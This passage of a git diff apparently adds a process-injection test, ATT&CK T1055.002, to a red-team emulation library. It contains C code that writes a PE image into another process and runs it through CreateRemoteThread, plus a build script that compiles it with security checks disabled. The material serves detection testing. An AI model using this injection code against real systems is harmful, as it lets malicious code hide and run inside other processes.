(!pWriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL)) { + DWORD dwError = pGetLastError(); + printf("Failed to write to target process memory. Error: %d\n", dwError); + CloseHandle(targetProcess); + return -1; + } + + // Calculate the remote address of the function to be executed in the remote process by subtracting + // the address of the function in the current process by the base address of the current process, + // then adding it to the address of the allocated memory in the target process. + // create a new thread with the start address set to the remote address of the function, using CreateRemoteThread. + DWORD threadId; + HANDLE hThread = pCreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint - (DWORD_PTR)imageBase + (DWORD_PTR)targetImage), NULL, 0, &threadId); + if (!hThread) { + DWORD dwError = pGetLastError(); + printf("Failed to create remote thread. Error: %d\n", dwError); + CloseHandle(targetProcess); + return -1; + } + + CloseHandle(hThread); + CloseHandle(targetProcess); + + FreeLibrary(hKernel32); + return 0; +} \ No newline at end of file diff --git a/atomics/T1055.002/src/build.bat b/atomics/T1055.002/src/build.bat new file mode 100644 index 00000000..b3ed1bb7 --- /dev/null +++ b/atomics/T1055.002/src/build.bat @@ -0,0 +1 @@ +cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /TcRedInjection.c /link /OUT:RedInjection.exe.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 \ No newline at end of file